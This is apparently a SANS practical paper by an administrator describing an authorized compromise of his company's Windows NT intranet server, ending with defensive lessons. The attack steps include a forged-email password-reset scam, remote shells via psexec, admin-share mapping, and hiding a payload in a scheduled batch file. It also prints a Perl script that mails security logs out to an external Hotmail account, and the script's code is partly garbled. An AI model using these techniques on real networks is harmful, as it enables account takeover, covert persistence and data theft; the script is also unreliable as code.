Corporate LAN Intranet Server Compromise

Jason DePriest
Synopsis
What am I doing?

I plan to compromise the Intranet server on our corporate LAN and install an illicit application of some sort. I do not want to use my normal user account or my normal system to hack into the server.

Disclaimer for myself: I am the administrator of my company’s Intranet server. I have performed the tasked outlined below with the full knowledge of my managers and co-workers, and the blessing of the Audit and Data Security departments.
Along those same lines, the names of the people, domains, and systems involved have been changed, as well as the IP addresses (to protect the innocent and the not-so-innocent).

Phase I
Develop a plan of attack

First, I need to develop an inventory of my assets.

1. Hardware
   1.1. Old IBM ThinkPad 380D
   1.2. Ethernet connection to corporate LAN
   1.3. Connection to Internet through corporate LAN

2. Software
   2.1. Domain Admin Tools for Windows NT
   2.2. Windows NT Server Resource Kit with Supplement IV
   2.3. ActiveState Perl
   2.4. Scanning and hacking tools (complete descriptions will be provided when I actually demonstrate the usage)
      2.4.1. nmapnt[1]
      2.4.2. enum[2]
      2.4.3. cmdinfo[3]
      2.4.4. sysinternals’ pstools[4]

3. Knowledge
   3.1. Help Desk policies on password resets
   3.2. Name of Help Desk manager

4. Other assets
   4.1. Normal domain user account, no admin rights

What am I going to do with my assets?

1. Use whatever means necessary to obtain an admin level account
   1.1. Impersonate existing admin and have password reset
   1.2. Create new admin level account
   1.3. Use that account for all further activity in this project

2. Find out what software is running on the Intranet server
   2.1. What operating system
   2.2. What web server software

3. What ports are listening for connections

4. Upload the appropriate exploit code to the Intranet server

5. Use exploit to enable compromise the server

Phase II
Impersonate admin

From my previous dealings with the Help Desk via email I have the name and email address of the manager of the department (let’s call him Greg). Luckily, in one of my correspondences with him, he attached a V-card that included four additional email addresses to reach him with, in addition to his office phone number, cell phone number, and two-way text pager number.

Greg seems to like providing many ways of getting in touch with him.

What’s one more method?

I plan to forge some email and send it to another Help Desk employee to have Greg’s password reset; having had my password reset in the past, I know the Help Desk has a standard password that all accounts are reset to, and then the end-user is forced to change it at the first logon.

Paying a visit to hotmail.com, I see that gregborder@hotmail.com has not yet been taken; now it has!

On a day that I am able to verify that Greg is not in the office (thanks to an Out of Office auto reply message from his
mailbox), I make my move.

Using the corporate Internet connection, I connect to hotmail.com and logon as Greg.

I send an email message to a random member of the Help Desk team asking that my domain password be reset.

Dude, can you reset my domain password?
I am trying to login remotely and I think I’ve locked my account out.
Just reply to this message and let me know when you’ve reset it.
Just reset it to the default password and please don’t check for me to change it at first logon; that is hard to do from my remote connection.

Thx!
The reply came quickly.

Sure,
You password has been reset and I did NOT check the option to force you to change it.

Thank you!
Help Desk Guy.

-----Original Message-----
From: 
Sent: Wednesday, May 09, 2001 3:24 PM
To: 
Subject: forgotten my password

Dude, can you reset my domain password?
I am trying to login remotely and I think I've locked my account out.
Just reply to this message and let me know when you've reset it.
Just reset it to the default password and please don't check for me to.
Phase III
Give elevated privileges to another account

I’ll need to either create a new account and give it admin rights or give my own account admin rights. If my lowly end-user account suddenly achieved admin status, it might set off some alarms; also if I create a new account, that might draw suspicion if anyone monitors the Event Logs. But I think creating a new account would be the less traceable way to go, since I will be using Greg’s account to do it. First, I’ll change the NetBIOS name of my laptop to something innocuous, like “Workstation” and give that a little while to get to the WINS servers.
Then I use User Manager for Domains and Greg’s account to create a new account and grant it admin level rights.

I now have an admin level account that is separate from the one I hijacked and the one I use for my normal business. Our domain uses DHCP to assign IP addresses; I am about to use this to my advantage. I “release” my IP address before going to lunch. By the time I return, someone else should have picked up my old IP address from the pool and I can get a new one when I “renew”.
I must act quickly if I want to avoid alerting anyone to my activities.
Phase IV
Probe the Intranet server

Now I get to bring out the toys.
I know the name of the Intranet server is http://www.inside.com.
If I do the following, I can get its IP Address:

<table>
<thead>
<tr>
<th>Microsoft(R) Windows NT(TM)</th>
</tr>
</thead>
<tbody>
<tr>
<td>(C) Copyright 1985-1996 Microsoft Corp.</td>
</tr>
<tr>
<td>C:&gt;nslookup <a href="http://www.inside.com">www.inside.com</a></td>
</tr>
<tr>
<td>Server: dnsserver.inside.com</td>
</tr>
<tr>
<td>Address: 10.0.0.1</td>
</tr>
<tr>
<td>Name: <a href="http://www.inside.com">www.inside.com</a></td>
</tr>
<tr>
<td>Address: 10.0.0.2</td>
</tr>
</tbody>
</table>

Luckily the excellent and free network mapping tool, nmap[^5], from Fyodor over at Insecure.org has been ported to Windows NT by eEye. NmapNT is currently in version 2.53 SP1 and functions pretty much identically to the Unix-centric original.
I just want to do a basic TCP scan of the Intranet server and get a guess at the Operating System.
The server seems to have the standard ports open that one would expect (although I'm not quite sure what is running on port 81 or port 444).

It seems to have an SSH daemon of some sort running on it, as well. That may be a good way to get a remote command line on the system, depending on what sort of authentication is uses. If non-anonymous FTP is allowed, I could use that to upload files.

The OS is some sort of Microsoft Windows OS. I doubt it is Windows 9x based; that wouldn't make much sense for a web server. I am guessing Windows NT Server, but I'll find out for sure in a minute.

I'd like to use the command-line tool, `enum`[^6], courtesy of Jordan Ritter (one of the founders of Napster).
Apparently, the Intranet server is also a backup domain controller. I am not sure how or if I can use this to my advantage, but I will definitely keep this in mind. The only bonus I can think of is that this system will see a large number of logon requests coming to it, so any illicit logons I do will be easier to miss. It also means that the permissions on files and directories are more than likely based on domain level accounts instead of local accounts; so my new admin account should have no trouble connecting to this system.

This system also has the default admin shares available if I wanted to use a simple `net use` command to the drives.

To get the specifics of what operating system is running on the Intranet server, I turn to John Savill, the writer of the Windows NT/2000 FAQ and, incidentally, creator of `cmdinfo`, a command-line tool for gathering information about Windows NT machines both local and remote.

Just look at all that useful information. The system is running Windows NT Server with Service Pack 6 installed (so no old exploits for the pre-SP4 systems) and IE version 5.

Want to see something really scary? Watch what happens when I run this same program with my normal non-admin account.
Sadly, the resultant information isn’t much different.

I would like to get a better idea of the environment running on the Intranet server. I plan to use the `psexec` tool from the `pstools` kit to get a remote command-line.

```bash
C:\sysinternals>psexec \10.0.0.2 cmd.exe
PsExec v1.2 - execute processes remotely
Copyright (C) 2001 Mark Russinovich
www.sysinternals.com

Microsoft (R) Windows NT (TM)
(C) Copyright 1985-1996 Microsoft Corp.

C:\WINNT\system32>set
COMPUTERNAME=INTRANET
ComSpec=C:\WINNT\system32\cmd.exe
INCLUDE=C:\Program Files\Mts\Include
LIB=C:\Program Files\Mts\Lib
NTRESKIT=D:\NTRESKIT
NUMBER_OF_PROCESSORS=4
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\Perl\bin;C:\WINNT\system32;c:\Program Files\Mts\D:\NTRESKIT\Sybase\Adaptive Server Anywhere 6.0\win32;d:\sqlany50\win32;d:\sqlany50\win32;d:\sybtools\win32;c:\Program Files\Common Files\Network Associates\VirusScan Engine\4.0.xx;c:\ssh
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 1 Stepping 9, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0109
PROMPT=$P$G
SQLANY=d:\sqlany50
SystemDrive=C:
SystemRoot=C:\WINNT
term=vt100
USERPROFILE=C:\WINNT\Profiles\Repl
windir=C:\WINNT
XMSPath=d:\XMS\Common;d:\XMS\Subsys;d:\XMS\XMSServ\Service
C:\WINNT\system32>
```

I can see that the server probably has Perl and the NTResource Kit installed; it appears to have some version of NAI’s VirusScanning software installed, as well. It also still has the OS/2 subsystem enabled.

**Phase V**

*Uploading code and executing plan*

Let’s map to all the drives on the server so we can upload whatever we want to.

```bash
C:\Tools>net use m: \10.0.0.2\c$
The command completed successfully.

C:\Tools>net use n: \10.0.0.2\d$
The command completed successfully.

C:\Tools>
```

I guess that’s it. Why bother with FTP or SSH when I can do a simple file copy?

Now I need to create a new directory on the Intranet server in a nondescript place and give it a nondescript name.

```bash
N:\>cd program files
N:\Program Files\cd windows nt
N:\Program Files\Windows NT>dir
Volume in drive N is DATA
Volume Serial Number is E822-E476
```
What files do I plan to upload? How about a perl script that I wrote and compiled into an executable and a couple of utilities that will let this script send me emails with important information. I’ll have the emails sent to my gregborder@hotmail.com account.

The perl script will run at a scheduled time and pull a list of local logons from the Event Log. It will create a pretty report and email it to me, as well. The code is available on the last page of this document.

I’ll also use psexec to get a remote command-line again, and then use cacls or xcacls to change the permissions on the directory and the files.

Now I am the only one who has access rights to that directory. This will make it only slightly more difficult for an Administrator to get access to my files; they could always change the permissions or Take Ownership if they really wanted in.

Now to upload the files I need:
The perl script: inoculate.pl
The compiled .exe perl script: inoculate.exe (compiled with PerlAPP)
The command-line Event Log Viewer: dumpel.exe
The command-line zip file creator: zip.exe
The command-line SMTP mailer: blat.exe
C:\mine\projects\SANS>perlapp inoculate.pl -f -r -c -v
Input script name: inoculate.pl
Output exe name: inoculate.exe
Exe Mode: Freestanding
Building Console mode exe
Temp files will be deleted on exit
Failed 'use's will be reported
Adding Module: C:/Perl/lib/Exporter.pm
Adding Module: C:/Perl/lib/Carp.pm
Adding Module: C:/Perl/lib/Sys/Hostname.pm
Adding Module: C:/Perl/lib/auto/Sys/Hostname/autosplit.ix
Adding Module: C:/Perl/lib/auto/XSLoader.pm
Adding Module: C:/Perl/lib/auto/DynaLoader/dl_expandspec.al
Adding Module: C:/Perl/lib/auto/DynaLoader/dl_findfile.al
Adding Module: C:/Perl/lib/auto/DynaLoader/dl_find_symbol_anywhere.al
Adding Module: C:/Perl/lib/auto/DynaLoader/autosplit.ix
Adding Module: C:/Perl/lib/auto/DynaLoader/Exporter.pm
Adding Module: C:/Perl/lib/auto/DynaLoader/Heavy.pm
Adding Module: C:/Perl/lib/auto/DynaLoader/Strict.pm
Adding Module: C:/Perl/lib/auto/Config.pm
Adding Module: C:/Perl/lib/auto/warnings/register.pm
Adding Module: C:/Perl/lib/auto/AutoLoader.pm
Adding Module: C:/Perl/lib/auto/Sys/Hostname/Hostname.dll

C:\mine\projects\SANS>cd \nC:\\n
N:\>cd program files\windows nt\office help
N:\Program Files\Windows NT\Office Help>c:
C:\>copy \tools\blat.exe n: 1 file(s) copied.
C:\>copy \tools\zip.exe n: 1 file(s) copied.
C:\>copy \ntreskit\dumpel.exe n: 1 file(s) copied.
C:\>copy \mine\projects\sans\*. n:
\mine\projects\sans\inoculate.exe
\mine\projects\sans\inoculate.pl
2 file(s) copied.
C:\>n:
N:\Program Files\Windows NT\Office Help>dir
Volume in drive N is DATA
Volume Serial Number is E822-E476
Directory of N:\Program Files\Windows NT\Office Help
05/17/01 01:55p <DIR> .
05/17/01 01:55p <DIR> ..
03/12/01 11:48a 93,696 blat.exe
11/09/98 01:00a 78,848 DUMPEL.EXE
05/17/01 01:54p 1,044,480 inoculate.exe
05/17/01 12:34p 5,563 inoculate.pl
12/21/99 06:42p 126,976 zip.exe
7 File(s) 1,345,563 bytes
1,513,840,640 bytes free
N:\Program Files\Windows NT\Office Help>

Success. I just realized that my script needs access to this directory. I need to run cacls/xcacls again to give the “System” account access to this directory.
I’d like to use the “at” command scheduler to schedule this program to run during peak business hours, so its actions will be masked by the flurry of other system activity.

<table>
<thead>
<tr>
<th>Status ID</th>
<th>Day</th>
<th>Time</th>
<th>Command Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Each M T W Th F</td>
<td>9:00 PM</td>
<td>D:\scripts\elisten-upload\elisten-upl</td>
</tr>
<tr>
<td>11</td>
<td>Each 1</td>
<td>5:00 AM</td>
<td>D:\scripts\event-log-backup\monthly-e</td>
</tr>
<tr>
<td>18</td>
<td>Each M T W Th F S Su</td>
<td>2:00 AM</td>
<td>D:\scripts\reboot\reboot.bat</td>
</tr>
<tr>
<td>3</td>
<td>Each S</td>
<td>9:15 PM</td>
<td>D:\scripts\registry-backup\weekly-reg</td>
</tr>
<tr>
<td>7</td>
<td>Each M T W Th F S Su</td>
<td>11:15 PM</td>
<td>D:\scripts\defrag\defrag.bat</td>
</tr>
<tr>
<td>8</td>
<td>Each S</td>
<td>9:45 PM</td>
<td>D:\scripts\logfile-upload\logfile-upl</td>
</tr>
<tr>
<td>9</td>
<td>Each M T W Th F S Su</td>
<td>10:30 PM</td>
<td>D:\scripts\compress-backup-files\comp</td>
</tr>
</tbody>
</table>

There are already a lot of things scheduled on the server... and they are all batch files. That means I could tag the request to run my script into one of those batch files and it may go unnoticed... There are several that run daily. I’ll piggy-back off of one of those instead of creating a new scheduled task.

I think I’ll look at the script that is doing the disk defragmenting daily and tag my script onto that one.
That’s it. The trap has been set, now all I have to do is check my (Greg Border’s Hotmail) email each morning and look for the message from this server.

D:\scripts\defrag>type defrag.bat
D:
cd \scripts\defrag
  worker.bat > D:\scripts\defrag\defrag.log
D:\scripts\defrag>echo. >> defrag.bat
D:\scripts\defrag>echo cd "\Program Files\Windows NT\Office Help" >> defrag.bat
D:\scripts\defrag>echo inoculate.exe >> defrag.bat
D:\scripts\defrag>type defrag.bat
D:
cd \scripts\defrag
  worker.bat > D:\scripts\defrag\defrag.log
cd "\Program Files\Windows NT\Office Help"
inoculate.exe
D:\scripts\defrag>

5 File(s) 105,255 bytes
1,511,251,968 bytes free
Phase VI
Cleaning up my tracks

If this weren’t a production server, I would use psloglist[^11] from the pstools kit and clear the Event Log of the system from a remote command line. Then I would delete the NewUser account that I created. Then I would change the NetBIOS name of my laptop, do a "release" of my IP address, physically unplug it from the network, and leave it powered off for at least a week.

Conclusion
What could have stopped me?

In my opinion...

The first issue is the social engineering aspect. A company needs firm policies in place on the procedures for account maintenance. These rules need to be followed by and applied to all employees regardless of their status, department, or job level. What is currently in place is more like vague suggestions and good ideas instead of enforceable standards. Special requests should be handled on a case-by-case basis and fully comply with the guidelines. Most social engineering faux pas can be avoided if the Help Desk employee uses common sense and does not let the end-user at the other end bully them in to doing something that is against policy (i.e. - don’t let someone call and claim that, because they are a Senior VP, they are immune to the rules). You never really know who the person on the other end of the line is, so it is wise to take as many precautions as possible; it is easier to take these precautions when you can point out that you are simply following the rules.

Another big mistake is having the Intranet server as a backup domain controller. If the system was either a stand-alone server or a member server in the domain, the security on it could have been locked down better. Remote access to the system could have been based on a local admin account instead of the domain admin account and domain account access to the box could have been severely restricted. If my domain level admin account couldn’t get any information from the server, I would have changed the plan of attack completely.

A proactive Intrusion Detection product such as ISS’ RealSecure Suite[^12] of products may have detected my activity, locked out my actions, and alerted an administrator. We have ISS RealSecure Network Sensor and OS Sensor; unfortunately, we are in the rollout phase and they have not yet been installed or configured in and around the Intranet server.

Also, it would be a good idea to have a firewall of some kind between the LAN and the Intranet server; it could even be the simple port filtering that Windows NT has built-in, but preferably there should be a rules-based firewall in place that performs stateful packet inspection and port blocking/stealthing based on, among other things, end-user IP address, source and target ports, and malformed data packets. You could buy a Cisco PIX firewall, throw together a Linux box running IPChains or IPTables, or install CyberWall Plus on the server itself. Anything to allow only the traffic that needs to be allowed and deny everything else would be better than the wide-open policy the server currently has in place.

The other “mistakes” would only come out over time. How often does the administrator actually look at the Event Logs for suspicious activity? How much auditing do they have enabled on the system? Do they look for patterns of activity in the Event Logs? If someone could detect and track down a compromise within a week, that isn’t perfect, but it is better than never finding the compromise.
Bibliography


Posey, Brien M., MSCE. “Implementing the WINS Service.”

Microsoft Technet. “Appendix D: DHCP Packets.”

Williams, Jim. “About.com - Social Engineering.”

Other sources are sited as footnotes within the text.
# inoculate.pl
# This will run at a scheduled time and email me a list of
# the local logon events. Not very "scary", but at least
# it is functional.

format LOCALREPORT_TOP =
    Time        Date        User ID        Action Details
    ----------  ----------  ------------  ----------------------------------------------
.
format LOCALREPORT =
    $Time,$Date,$UserID,$Event
    Logon Type: $LogonType,$LogonTypeText
    Logon Origin: $Workstation
    Logon Process: $LogonProcess
    ----------------------------------------------
.
$CurrentDir = "D:\Program Files\Windows NT\Office Help";
chdir($CurrentDir);
open(LOGFILE,">$CurrentDir\Activity.log");
select LOGFILE;

use Sys::Hostname;
$servername = hostname;
$dumper = "dumpel.exe";
$zipper = "zip.exe";
$mailer = "blat.exe";
&CreateFileName;
&RunDumpEL;
&Dismantle;
&ZipIt;
close(LOGFILE);
select STDOUT;
&MailIt;

sub CreateFileName
{
    # $servername-yyyy.mm.dd-hh.mm.csv
    @now = `net time \\$servername`;
    chomp($now = $now[0]); # will be "Current time at \$servername is m/d/yy hh:mm AM/PM"
    @broken_array = split(/ /,$now);
    # This creates the following:
    # broken_array[0] Current
    # broken_array[1] time
    # broken_array[2] at
    # broken_array[3] \$servername
    # broken_array[4] is
    # broken_array[5] m/d/yy
    # broken_array[6] hh:mm
    # broken_array[7] AM/PM
    # month
    @date_array = split(/\//,$broken_array[5]);
    ($month, $day, $year) = @date_array;
    $year = $year + 2000;
    @time_array = split(/:/,$broken_array[6]);
    # hour
    $hour = $time_array[0];
    if ($broken_array[7] =~ m/PM/) {
        $hour = $hour + 12;
    } # end of if
    # minute
    $minute = $time_array[1];
    # rack 'em and stack 'em
    if ($month < 10) {
        $month = "0$month";
    } # end of if
    if ($day < 10)
© SANS Institute 2003, Author retains full rights

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

{ $day = "0$day"; } end of if

$filename = "$CurrentDir\$servername-$year.$month.$day-$hour.$minute";
print "This message was sent to you by $servername.\n";
print "$now\n";
} end of sub CreateFileName

sub RunDumpEL
{
print "\nExecuting the following commands:\n";
print "$dump -s $servername -l security -c -t -m security -e 528 -format tdIus -f "$filename.csv"\n";
print "$dump -s $servername -l security -c -t -m security -e 528 -format tdIus -f "$filename.csv"\n";
} end of sub RunDumpEL

sub Dismantle
{
# CSV in the format of:
# Time (HH:mm:ss AM/PM), Date (M/D/YYYY), Event ID (integer),
# User ID (<Domain><UserName>), <blank>, Successful Logon:
# User Name:
# Domain:
# Logon ID:
# (hexadecimal,hexadecimal)
# Logon Type: (integer)
# Process:
# Authentication Package: (text)
# Workstation Name:
# (origin of logon)

open(CSVFILE, "<$filename.csv");
while(<CSVFILE>)
{
@logon_array = split(/,/,$_);
$logon_array[5] = "$logon_array[5],$logon_array[6]";
$logon_array_length = @logon_array;
$current_entry = $logon_array[5];
@detais_array = split(/\t/,$current_entry);
@detais_array_length = @detais_array;
$Time = $logon_array[0];
$Date = $logon_array[1];
$UserID = $logon_array[3];
$Event = $detais_array[0];
for ($j=0;$j<$detais_array_length;$j++)
{
# this will clean up the entries a bit
$detais_array[$j] =~ s/\t//g;
@detais_array[$j] =~ s/ {2,}//g;
} # end of for
if($UserID =~ m/ANONYMOUS/i)
{
$UserID =~ s/\\/ \ |;
} # end of if
else
{
$HexLogonID = $detais_array[8];
$LogonType = $detais_array[10];
$LogonProcess = $detais_array[12];
$AuthenticationPackage = $detais_array[14];
$Workstation = $detais_array[16];
} # end of else
# Determine which type of Logon is being performed

SWITCH:
{
if ($LogonType eq "2") { $LogonTypeText="Local Logon"; last SWITCH; }
if ($LogonType eq "3") { $LogonTypeText="Remote Logon"; last SWITCH; }
if ($LogonType eq "4") { $LogonTypeText="Batch Scheduler Logon"; last SWITCH; }
if ($LogonType eq "5") { $LogonTypeText="Service Logon"; last SWITCH; }
if ($LogonType eq "7") { $LogonTypeText="System Unlocked"; last SWITCH; }
$LogonTypeText = "Unknown Logon Type";
} # end of SWITCH
if($LogonType ne "3")
{
open(LOCALREPORT, ">>$filename.rpt");
$old = select LOCALREPORT;
$old = 16;
select $old;
write LOCALREPORT;
close(LOCALREPORT);
} # end of if
} # end of while
close(CSVFILE);
} # end of sub Dismantle

sub ZipIt
{
print "\n$zipper -9vm -b .\ "$filename.zip" "$filename.rpt"\n\n";
print `"$zipper -9vm -b .\ "$filename.zip" "$filename.rpt""`;
} # end of sub ZipIt

sub MailIt
{
  print "$n$mailer "$CurrentDir\Activity.log" -log "$CurrentDir\ blat.log" -debug -f
  $servername@inside.com -attach "$filename.zip" -subject "Who was setup, deleted, or disabled on DOMAIN" -to
  gregborder@hotmail.com";
  print `"$mailer "$CurrentDir\Activity.log" -log "$CurrentDir\ blat.log" -debug -f
  $servername@inside.com -attach "$filename.zip" -subject "Who was setup, deleted, or disabled on DOMAIN" -to
  gregborder@hotmail.com"`;
} # end of sub MailIt

[5] What is nmap, you ask? The website goes into detail, but briefly, nmap is a network port scanner and analyzer. It does TCP/UDP/ICMP scans and Operating System best guessing. It is more more robust than this small space will let me elaborate on. Check out the website.
[6] See his website for more, but this is what Jordan says about enum: you know, it's just stupefyingly amazing how much info an NT box will give you. This is a little CLI utility for Windows NT that will enumerate all sorts of information about windows boxes.
[8] A command-line tool for displaying information about your Windows NT installation, both locally and remotely.
[9] From the pstools, PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software.
[10] The PsTools are a collection of command-line administration tools that let you work locally as well as remotely.
<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Chicago Spring 2020</td>
<td>Chicago, ILUS</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS ICS Europe Summit &amp; Training 2020</td>
<td>Munich, DE</td>
<td>Jun 08, 2020 - Jun 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Budapest June 2020</td>
<td>Budapest, HU</td>
<td>Jun 08, 2020 - Jun 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Las Vegas Summer 2020</td>
<td>Las Vegas, NVUS</td>
<td>Jun 08, 2020 - Jun 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Zurich June 2020</td>
<td>Zurich, CH</td>
<td>Jun 15, 2020 - Jun 20, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London June 2020</td>
<td>OnlineGB</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Books &amp; MP3s OnlyUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>